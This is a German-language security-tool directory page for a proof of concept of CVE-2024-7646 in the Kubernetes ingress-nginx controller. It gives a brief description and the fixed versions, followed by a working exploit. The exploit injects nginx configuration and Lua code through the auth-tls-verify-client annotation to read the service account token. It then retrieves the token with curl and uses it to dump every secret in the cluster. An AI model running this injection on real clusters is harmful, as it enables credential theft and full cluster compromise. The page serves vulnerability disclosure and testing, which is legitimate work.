Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2024-7646 — PoC CVE-2024-7646 | Kitploit
Tools/GitHubGitHub/dovics/cve-2024-7646
Container SecurityVulnerability AnalysisExploitationWeb SecurityCloud SecurityMisconfiguration
GitHubdovics/cve-2024-7646

cve-2024-7646

PoC CVE-2024-7646

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-7646

Beschreibung

Standardmäßig ist nginx.ingress.kubernetes.io/server-snippet deaktiviert, aber aufgrund dieser CVE kann nginx.ingress.kubernetes.io/auth-tls-verify-client dennoch benutzerdefinierte Snippets oder sogar Lua-Code einfügen.

Behobene Version

ingress-nginx Controller v1.11.2 – behoben durch kubernetes/ingress-nginx#11719 und kubernetes/ingress-nginx#11721 ingress-nginx Controller v1.10.4 – behoben durch kubernetes/ingress-nginx#11718 und kubernetes/ingress-nginx#11722

PoC

Erfordert Berechtigung zum Erstellen von Ingress

root@kitploit:~
openssl genrsa -out ca.key 2048
openssl req -new -x509 -key ca.key -out ca.crt -days 365 -subj "/CN=ca"
kubectl create secret generic ca-secret --from-file=ca.crt=ca.crt
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: cve-ingress
  namespace: default
  annotations:
    nginx.ingress.kubernetes.io/auth-tls-secret: default/ca-secret
    nginx.ingress.kubernetes.io/auth-tls-verify-client: "off;\r\nlocation /token{\r\ncontent_by_lua_block{\r\nfile = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token','r')\r\nngx.say(file:read('*a'))\r\nngx.exit(ngx.HTTP_OK)\r\n}\r\n}\r\nset \$test true"
spec:
  rules:
    - host: test.ingress.io
      http:
        paths:
          - pathType: Prefix
            path: /test
            backend:
              service:
                name: test-service
                port:
                  number: 8080
EOF

In der Standardkonfiguration hat diese Anmeldeinformation Zugriff auf alle Secrets im Cluster.

root@kitploit:~
TOKEN=$(curl 127.0.0.1:8080/token  -H "Host: test.ingress.io")
kubectl --token=$TOKEN get secret -A -o yaml
Tool herunterladen